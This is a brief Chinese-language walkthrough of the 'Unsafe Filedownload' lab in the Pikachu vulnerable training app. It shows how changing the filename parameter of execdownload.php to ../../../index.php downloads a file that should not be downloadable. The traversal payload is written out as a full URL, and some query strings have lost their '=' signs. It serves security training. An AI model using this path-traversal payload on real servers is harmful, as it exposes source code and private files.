Unsafe Filedownload我们点击蓝色的球员名字就可以下载到对应的png图片F12可以查看我们是访问了http://pikachu.com/vul/unsafedownload/ execdownload.php?filenamekb.png下载的url就是http://pikachu.com/vul/unsafedownload/execdownload.php?filenamekb.png下载其他图片的区别是?filenamexxxhttp://pikachu.com/vul/unsafedownload/execdownload.php?filenamerayal.png那么我们输入../../../index.php就能下载到不应该下载的文件了http://pikachu.com/vul/unsafedownload/execdownload.php?filename../../../index.php成功下载到不应该下载的文件